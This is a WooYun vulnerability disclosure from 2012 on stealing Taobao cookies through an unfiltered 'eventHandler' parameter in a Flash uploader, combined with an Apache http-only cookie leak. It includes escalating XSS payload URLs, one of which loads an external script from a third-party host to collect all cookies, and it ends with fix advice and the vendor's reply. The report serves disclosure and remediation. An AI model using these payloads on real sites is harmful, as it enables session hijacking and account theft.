当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-07085

漏洞标题：淘宝网COOKIES盗取[flash编程安全+apache http-only cookie 泄漏利用]

相关厂商：淘宝网

漏洞作者： gainover

提交时间：2012-05-14 10:46

修复时间：2012-06-28 10:47

公开时间：2012-06-28 10:47

漏洞类型：xss跨站脚本攻击

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-05-14： 细节已通知厂商并且等待厂商处理中
2012-05-14： 厂商已经确认，细节仅向厂商公开
2012-05-24： 细节向核心白帽子及相关领域专家公开
2012-06-03： 细节向普通白帽子公开
2012-06-13： 细节向实习白帽子公开
2012-06-28： 细节向公众公开

简要描述：

昨天测试了新浪微博，今天同样的手法测试淘宝网！
FLASH编程安全问题导致的利用：
http://www.wooyun.org/bugs/wooyun-2012-06103
http://www.wooyun.org/bugs/wooyun-2010-07050
Apache Cookie 泄漏漏洞:
http://www.wooyun.org/bugs/wooyun-2010-06947

详细说明：

一些编程人员，对于loaderInfo.parameters 所传入的参数都不会严格过滤，甚至很多开发人员都有把Javascript函数名作为参数传入的习惯。 比如腾讯的QQ空间这个FLASH（ WooYun: QQ空间存储型XSS漏洞（组合利用） ）。
新浪的开发人员也有类似的习惯（ WooYun: 新浪微博COOKIES盗取[flash编程安全+apache http-only cookie 泄漏利用] ）。 淘宝也有～～
利用步骤：
1： google: filetype:swf site:taobao.com，找到淘宝域名下的若干FLASH文件。
2： 反编，并查找 parameters and externalInterface.call
3: 找到一个uploader.swf存在问题。

//正如我说的这种直接把JS函数名传入的情况
    this.javaScriptEventHandler = this.loaderInfo.parameters.eventHandler;
	//后面又用call调用
	 ExternalInterface.call(this.javaScriptEventHandler, this.elementID, event);


4: 构造1级测试代码。证明：JS可以运行

http://upload.taobao.com/static/js/uploader.swf?eventHandler=(function(){alert('xxx');})


5： 构造2级代码，利用href='javascript:"新的页面内容"';突破无法访问document对象的限制。但是无法获取http-only Cookie

http://upload.taobao.com/static/js/uploader.swf?eventHandler=(function(){location.href='javascript:"<script>alert(document.cookie)</script>"'})


6: 构造3级代码，利用Apache Http-only Cookie 泄漏漏洞，获取全部cookies数据。 

http://upload.taobao.com/static/js/uploader.swf?eventHandler=(function()%7Blocation.href%3D'javascript%3A%22%3Cscript%2Fsrc%3D%5C'%2F%2Fappmaker.sinaapp.com%5C%2Ftest4.js%5C'%3E%3C%2Fscript%3E%22'%7D)


自己写了个小检测工具。 检查下 upload.taobao.com

漏洞证明：

1. 打开构造的地址后，效果如下，可获得http-only cookies：


2. upload.taobao.com 确实存在 apache 这个漏洞，见抓包图：


修复方案：

1. 审查已上线的FLASH文件代码，严格控制FLASH文件参数的输入
2. apache的漏洞给打补丁

版权声明：转载请注明来源 gainover@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2012-05-14 12:08

厂商回复：

感谢gainover严谨细致的分析，我们会对这类漏洞进行紧急处理。

最新状态：

暂无